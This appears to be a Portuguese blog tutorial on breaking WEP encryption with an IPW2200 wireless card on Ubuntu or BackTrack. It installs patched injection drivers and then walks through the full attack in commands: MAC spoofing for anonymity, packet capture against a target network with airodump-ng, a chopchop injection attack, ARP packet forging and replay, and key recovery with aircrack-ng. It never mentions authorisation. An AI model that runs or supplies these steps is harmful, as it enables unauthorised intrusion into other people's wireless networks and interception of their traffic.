Com este guia pretendo demonstrar como é possível quebrar encriptação WEP usando uma placa de rede sem fios baseada no chip IPW2200.
Não posso precisar se a técnica envolvente funciona com placas de rede com outros chips pois todo este guia é baseado em vários outros. Apenas decidi centralizar toda a informação que li sobre este tema– usando a placa de rede wireless que está presente no meu portátil– num único guia e em Português, não querendo de forma alguma tirar os devidos créditos a quem os merece.
Ou seja, é bem provável que a técnica explicada neste guia funcione tanto para outras placas de rede sem fios com os mais diversos chips1).
Para este guia iremos usar o sistema operativo Linux, optando entre a distribuição Ubuntu ou BackTrack.
Qual a diferença entre uma ou outra?
Como todos sabem, a distribuição Ubuntu é uma das mais usadas em todo o lado. Assim, quem já possuir uma instalação do Ubuntu, pode muito bem usa-la se assim entender. Se não, terá de ser instalado. O uso de uma distribuição como o Ubuntu em favor do BackTrack significa que irá ser necessário tomar alguns passos extra. Como a instalação das ferramentas necessárias e drivers com devidos patchs para que todo este processo funcione.
Por outro lado, usar a distribuição BackTrack facilita em muito todo o processo. Esta distribuição já possui instalado todas as ferramentas que iremos necessitar bem como os drivers com os devidos patchs aplicados. Talvez queira optar por esta distribuição se o chip da sua placa de rede não for o IPW2200 e quiser tentar quebrar a encriptação WEP usando este método com a sua placa de rede.
Se preferi, também poderá usar outra distribuição qualquer, mas este guia não oferece qualquer tipo de suporte para outras distribuições para além duas mencionadas.
Não faz parte deste guia ensinar como instalar o Ubuntu no seu disco rigido, para isso dirija-se ao site oficial do mesmo. Se preferir, pode instalar o Ubuntu numa drive USB e correr o sistema a partir da mesma. Este guia usa este último método.
Para instalar o Ubuntu numa drive USB, recomendo este simples guia em Inglês: USB Ubuntu 7.10 Gutsy Gibbon install
Por omissão, o Ubuntu não possui as ferramentas nem os drivers modificados que precisamos e alguns repositórios precisão de ser activados. Vá ao menu Sistema » Administração » Fontes de Aplicações e active todos os repositórios listados; não se esqueça de actualizar a informação sobre o software disponível caso seja notificado para o fazer.
sudo apt-get install build-essential sudo apt-get install aircrack-ng
Vá ao menu Sistema » Administração » Gestor de Actualizações e verifique se o sistema necessita de ser actualizado. Se for caso disso, actualize e reinicie o sistema.
Para facilitar todos os passos abaixo, crie um directório temporário onde desejar e execute todos os comandos listados abaixo dentro desse directório.
O primeiro passo na modificação dos drivers IPW2200 será instalar os últimos módulos IEEE80211. Para o fazer, execute os comandos listados abaixo:
wget http://prdownloads.sourceforge.net/ieee80211/ieee80211-1.2.18.tgz?download tar -zxvf ieee80211-1.2.18.tgz cd ieee80211-1.2.18 sudo make sudo make install cd ..
Agora precisamos de obter e extrair os últimos drivers IPW2200, executando os seguintes comandos:
wget http://prdownloads.sourceforge.net/ipw2200/ipw2200-1.2.2.tgz?download tar -zxvf ipw2200-1.2.2.tgz
Obtenha os patchs necessários para placa com o chip IPW2200, executando os seguintes comandos:
wget http://www.waraey.com/dl/files/ipw2200-1.2.2-inject.patch wget http://www.waraey.com/dl/files/ipw2200-1.2.2-make.patch
Aplique os patchs na Makefile bem como no ficheiro ipw2200.c. Execute os seguintes comandos:
patch ipw2200-1.2.2/ipw2200.c ipw2200-1.2.2-inject.patch patch ipw2200-1.2.2/Makefile ipw2200-1.2.2-make.patch
Agora vamos remover os drivers antigos e instalar os novos com os patchs aplicados, executando os seguintes comandos:
cd ipw2200-1.2.2 sudo ./remove-old sudo make sudo make install cd ..
Load and verify the drivers… De seguida, carregamos os drivers, executando os seguintes comndos:
sudo rmmod ipw2200 sudo modprobe ipw2200 rtap_iface=1
Nota: Se receber um erro ao executar o primeiro dos comandos listados abaixo, simplesmente ignore-o.
O interface rtap tem de estar activo sempre para que consigamos quebrar a encriptação, pelo que podemos activa-lo automaticamente na inicialização do sistema. Para isso, execute o seguinte comando para abrir o ficheiro de configuração do módulo IPW2200 no editor de texto do GNOME:
sudo gedit /etc/modprobe.d/options
E adicionamos as seguintes linhas de código ao fim do ficheiro. A última linha serve para que o LED de aviso de sinal sem fios seja activado.
options ipw2200 rtap_iface=1 options ipw2200 led=1
Precisamos agora de verificar se temos instalado o último Firmware da nossa placa de rede Intel, executando os seguintes comandos:
wget http://bughost.org/firmware/ipw2200-fw-3.0.tgz tar -zxvf ipw2200-fw-3.0.tgz cd ipw2200-fw-3.0 sudo cp *.fw /lib/firmware/2.6.22-14-generic/
Como último passo, resta reiniciar o sistema e terá os últimos módulos e Firmware instalados com os devidos patchs aplicados.
Como foi dito no inicio deste guia, esta distribuição já possui instalado todas as ferramentas que iremos necessitar bem como os drivers necessários com os devidos patchs aplicados.
Iremos usar esta distribuição na sua forma de LiveCD pelo que irá necessitar de um disco, CD ou DVD, virgem ou vazio no caso RW. Para proceder ao download do BackTrack, visite o link abaixo e escolha um dos mirrors disponíveis:
BackTrack 2 Stable release Mar 06 20072)
Depois de efectuar o download do respectivo ficheiro ISO, use uma aplicação de gravação à sua escolha para gravar o conteúdo do ficheiro para um CD ou DVD. De seguida, só tem de inicializar o sistema através do LiveCD. Não faz parte deste guia explicar este processo e pressuponho que já o saibam fazer.
Para quebrarmos a encriptação WEP e descobrir a sua chave, vamos usar um software chamado aircrack-ng3) e a versão que vem com o BackTrack 2 não é muito recente. O que faz com que todo o processo seja mais moroso e aborrecido. Vamos então actualiza-lo para uma versão mais recente.
Após inicializar a sua sessão no KDE do BackTrack 2, abra uma consola e escreva os seguintes comandos:
wget http://download.aircrack-ng.org/aircrack-ng-0.9.3.tar.gz tar -zxvf aircrack-ng-0.9.3.tar.gz cd aircrack-ng-0.9.3 make make install cd ..
Nota: Se preferir, crie um directório temporário e execute os comandos listados acima dentro desse mesmo directório. Só para não haver misturas.
Após estes simples passos, temos agora a versão legacy4) mais recente.
Passemos agora à parte mais interessante deste guia, como quebrar encriptação WEP. Por outras palavras, como decifrar a chave de autenticação.
Não necessariamente para todos os passos mas para os mais importantes, alguns ficheiros irão necessitar de ser criados, pelo que recomendo a criação de um directório temporário e que todos os comandos seguintes sejam executados dentro desse mesmo directório.
O primeiro passo será lista todas as redes sem fios que temos à nossa volta, para o fazer:
iwlist eth1 scan
Sugiro que não fechem a janela com o output do comando acima (que nos irá ser útil mais à frente) e que executem todos os comandos seguintes numa outra janela. Até sugerir de novo que abram uma janela.
Nota: Estou a assumir que o Linux mapeou a sua placa de rede sem fios em eth1, pois o mais provável é ter uma placa de rede com fios em eth0.
Este próximo passo é opcional mas irá servir para nos dar algum anonimato pelo que eu recomendo que executem o seguinte comando, que irá temporariamente alterar o endereço MAC da nossa placa sem fios:
ifconfig eth1 up hw ether 00:11:22:33:44:55
Comecemos agora por configurar o essid, canal e aplicação de uma chave falsa:
iwconfig eth1 essid <ESSID> channel <#> key s:fakekey mode managed
Devido a algumas limitações do firmware, temos de forçar uma chave falsa e activar o modo de gestão para nos assegurarmos que as ferramentas do aircrack-ng funcionam correctamente.
Substitua <ESSID> e <#> pelo nome e número do canal, respectivamente, da rede sem fios que é o nosso alvo.
Agora é altura de começar a recolher dados:
airodump-ng --channel <CANAL> --bssid <MAC> -w dump rtap0
Substitua <CANAL> e <MAC> pelo número do canal e endereço MAC, respectivamente, da rede sem fios que é o nosso alvo.
Como o comando anterior está recolher dados e não poderá ser interrompido, é necessário que agora abra uma nova janela para começarmos com a injecção, por outras palavras, é altura de lançar o ataque chopchop:
aireplay-ng -4 -a <MAC> -h 00:11:22:33:44:55 -i rtap0 eth1
Substitua <MAC> pelo endereço MAC da rede sem fios que é o nosso alvo.
Irá ser questionado se deseja usar “este” (this) pacote, responda que “sim” (y) e o ataque continua. Assim que terminar, iremos ter 2 ficheiros. Um com terminação .cap e outro .xor. O ficheiro com a terminação .xor irá ter um nome parecido com “replay_dec-######.xor”.
Certifique-se de que não foram reportados qualquer tipo de erros após o uso do aireplay. Se o ataque não começar após seleccionar o pacote, é possível que não esteja suficientemente perto do ponto de acesso ou o ponto de acesso não seja vulnerável ao ataque chopchop.
Se eventualmente receber algum erro, tente repetir a execução do aireplay por mais uma ou duas vezes. Se o ataque falhar, exprimente executar o comando de novo omitindo o parâmetro ”-h <MAC>”.
Agora iremos criar um pacote para o pedido arp usando o ficheiro .xor obtido. As opções ”-l” e ”-k” são o IP de origem e o IP de destino. Se usar IP's válidos, estará a executar um ataque amplificado. O seguinte comando pode ser executado na janela onde executamos o ataque chopchop.
packetforge-ng -0 -a <MAC> -h 00:11:22:33:44:55 -k 192.168.1.100 -l 192.168.1.101 -y replay_dec-######.xor -w arp-request
De seguida iremos enviar o nosso pacote de pedido arp continuamente:
aireplay-ng -2 -r arp-request eth1
Após este passo, deve ver os “dados” (Data) a serem incrementados substancialmente na janela onde temos o airodump-ng a correr. Se os dados não aumentarem (normalmente entre 80 a 350 por segundo), então, algo está errado. Se o valor da coluna RXQ (percentagem da qualidade de recepção) for superior a 90, então deve estar a receber cerca de 200 ou mais, mas o mais importante é estar a receber muito mais que anterior ao envio do pedido arp.
Agora é alturar de esperar até que o airodump-ng reuna dados suficientes (suficientes IVs) para que possamos executar o aircrack-ng. Se todos os passos na secção do Sistema Operativo foram seguidos correctamente, isso significa que estamos a usar uma das últimas versões do aircrack-ng e que apenas precisamos de reunir cerca de 100.000 IVs. Caso contrário iremos precisar de reunir cerca de 1.000.000 IVs, o que irá necessitar de muito mais tempo. Se estivermos a usar a versão 0.9 ou superior, então 100.00 é suficiente.
Iremos agora precisar de abrir uma outra janela, ou então poderemos usar a primeira de todas onde temos a lista de redes sem fios (a qual já não precisamos). Para proceder a quebra da chave WEP, execute o seguinte comando:
aircrack-ng -z dump*.cap
Dependendo do número de pacotes que foram recolhidos, isto pode demorar alguns minutos ou então será imediato.
Nota: Mais uma vez a versão do aircrack-ng entra em jogo. Se estiver a usar uma versão inferior a 0.9, omita o parâmetro ”-z”.
Como dito na introdução, todo este guia foi baseado em outros pelo que não assumo quaisquer tipo de créditos para além da tradução feita e/ou mais uma linha de texto ou outra. Os créditos são totalmente dos devidos autores dos artigos e tutoriais originais.
De seguida deixo uma lista de ligações para as páginas usadas na criação deste guia: